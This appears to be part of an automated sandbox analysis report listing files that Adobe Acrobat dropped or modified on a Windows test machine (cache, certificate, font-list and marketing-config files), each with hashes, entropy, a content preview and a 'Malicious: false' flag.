Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.21378466375714
Encrypted:	false
SSDEEP:	24:7+tGG6wK3qL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MzQ:7MDW3q/mFTIF3XmHjBoGGR+jMz+Lh5
MD5:	3890B40927B8CE45660FE8CD185D28EC
SHA1:	8321C47E9932B8C8AD50D37DD1ADFC9BFAF23D56
SHA-256:	814503D37310A18586B335F7413031BB182E46651B782F6CF041ECD7DF1D4436
SHA-512:	56E85A9666B87A4DBA2153CD0FFCAEAE6A887A5E2C5DA0DD5EC23D5356803B8508126FA546C0193ABE7009208F1BA5BDE43FCCCB3886171A08A84FF75EA7F462
Malicious:	false
Preview:	.... .c......T..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklwEqIpkNttfllXlE/HT8kD7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKpEq6EteT8mNMa8RdWBwRd
MD5:	568D322473A13C92E0B1C2DF285AAD08
SHA1:	7CF967CE46F8BBF93A67EA30583DA25A36EC8561
SHA-256:	DDAAF197A97A2151EE1A35264ABCC61481AA99232DC983E04ABA9969AB5AA703
SHA-512:	FB74369B9770F3152CD7285A326C35D85BEF57AD25A1CDCB563D4721D89A6293A2A8C5633FC318F96BB12E2A668FA28FA741FD1FA206591802D6B78237D7CBD8
Malicious:	false
Preview:	p...... .........N5..c..(....................................................... ..........W....y_..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKENtL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ctiDnLNkPlE99SNxAhUe/3
MD5:	0569669FFD11B033269F1581619D3FDF
SHA1:	97E0BF954B4BA2564982BE5A620C15D6DD3BC873
SHA-256:	6DC01968325931E22A9461784C529D1A1964B0C24DFF3FB4505BA4C3CAFD1791
SHA-512:	2B9D0F034351C2D5E538D7ECEF7E1E48763D5761EF643B497625621E00C28F8EE72B35873F544A75081AFD70BDACC393B787E45B555DEC6806075F137A0B32BD
Malicious:	false
Preview:	p...... .........Z...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7704

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7704

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.380985596104251
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJM3g98kUwPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGMbLUkee9
MD5:	6FD76884A3AA8D439EC8179E7C6EC107
SHA1:	D2FF4578F7961C79321DEA5AE2DFBF0879DD9291
SHA-256:	FC1783BD3CEA7F0AF72C40D17A52FCCDB1FF65E4C80C19098A3EAA6D87069251
SHA-512:	B79AD0E17856C054F21C94FD84B3E25F41ECA1FA000AAA85565FF7E2814EA9B3CD384CA58EF44BB5AD595B038140B587E286AD30D499EC7F0D963551E03DB6BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3168466235308305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJfBoTfXpnrPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGWTfXcUkee9
MD5:	B76321FB9DADB86328476409D26B11F5
SHA1:	1504171C53F5D6584F81168E7483A4E751579C2A
SHA-256:	212562C2ED33C52CCEF5F9047315395210445B5239B4B4E8AA5F3B0E74B3DDCB
SHA-512:	550DD6CEDE4FD4BB1F080FD7EAB88872CA49E708FE8CFA964164711D01CF739B225621EE90F4889DC5F0D9D1DD2DCADD6D71F493FA1EC2A0644C73015890FF85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2946967171079
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJfBD2G6UpnrPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGR22cUkee9
MD5:	E0FE526DF335190F0D63F0CF90DA0C37
SHA1:	056A63920679ADBAA558FCB92EBD9C600AED0FDC
SHA-256:	4A75AAEFC2BE93E3154408FA5119FBF579D3EF72CCABBBCF1429290F75E7BC1E
SHA-512:	152F686C882952C826A549CAC6070C7C07AD499677CEDF04A3A2FFE8FBBEA307BFDA1C3DF5560F1FF2332435A67700E9644E06BCEEEC72D3865B6BD74E4CE8DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.355882629143614
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJfPmwrPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGH56Ukee9
MD5:	B148E97CEA57B6127DB55AC72E207E83
SHA1:	20CC82FAA1B1456DF766C023EDD02E9DF02853A1
SHA-256:	7EFD44055C5DD2D59C6BBDACC22B96BA76A71646FDAF507442F1701954583DCB
SHA-512:	2EE6F700005BAE5E1DADF958534F06A2C73793EB0F15889DE1113CA98D8A8BF3E69F0AF3A2A267C1CF0FFEF2CD1DF71951028A2E041B7EFB38BE6FBC0654C3B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691839358016522
Encrypted:	false
SSDEEP:	24:Yv6XGY2UXvJSv6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSeg:YvL3wvJSihgy6SAFv5Ah8cv/eg
MD5:	5AF14CCB48D0B8F411B7ED1224A7D0CC
SHA1:	AE0C1A900971D2E66CABAA2CC5E621DB4B6A9C86
SHA-256:	E982CD8AC5B4010B8FD48FB0B3B710DD297233359943D4468C1C090A9BE558A9
SHA-512:	595FF9AAB2ABF5F105380E08B8E253B70D11E2D326704526474083A3728B2855D30D5C3792054EED12F5ABA93A4DB6C03B1099FE6FF9F414041D0BFFC65F8200
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297554055170042
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJf8dPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGU8Ukee9
MD5:	839BFB9E885E9FF7949D07AC139D79A5
SHA1:	353761B94A3CBB3552F9D46F8A2ABD47C50C4846
SHA-256:	BFE04D1900110393ED59325BF79CBDE46FF3D13BEE7347B3C8B9B5A047B74C01
SHA-512:	68CB5B911460B7EADE881ECB3545E626D3BDC35ACF2B1B7A0CD82B6F42E6391411F31A9903B1FB13FBA051F840B31E4806F759DABF8EDFFD9EF4334BB61A5EFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.300213238896966
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJfQ1rPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGY16Ukee9
MD5:	168BB0A6C147035A41EA3854ACD7417A
SHA1:	97EE14778B0E0014BA9FA478C535AA921E3F491D
SHA-256:	A5D39AD7AF91DD6026915E781432A1C527B7A1A748BA8D7C07A3EB40192DB57E
SHA-512:	64A2C938BA944BD9D78A70702FD224770C7A9BF40812CE42CBA8F111CF1364461CF6719C7E59D3B20FA9C3C8CB966991AF41BFA4EEA67A385419A4BFC34BA270
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311554462315715
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJfFldPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGz8Ukee9
MD5:	4650066F8AE9B89B1A60DC7CF9BC254C
SHA1:	09067CF505D166071EB5D343F68CE1EFFD86E6BA
SHA-256:	886EE55A43547112C23C8F705DF57FAA1A098B2467514A295CCEC7F2CA36EA03
SHA-512:	61E832B7A77711A05AB311EA6E5853F5AE6583912268238A12D4FF0AA08C8CBE0ED3C3E7967B9FE01768613367496B42EAD0D181DB1DE36AC1EFCA5ED582F36F
Malicious:	false
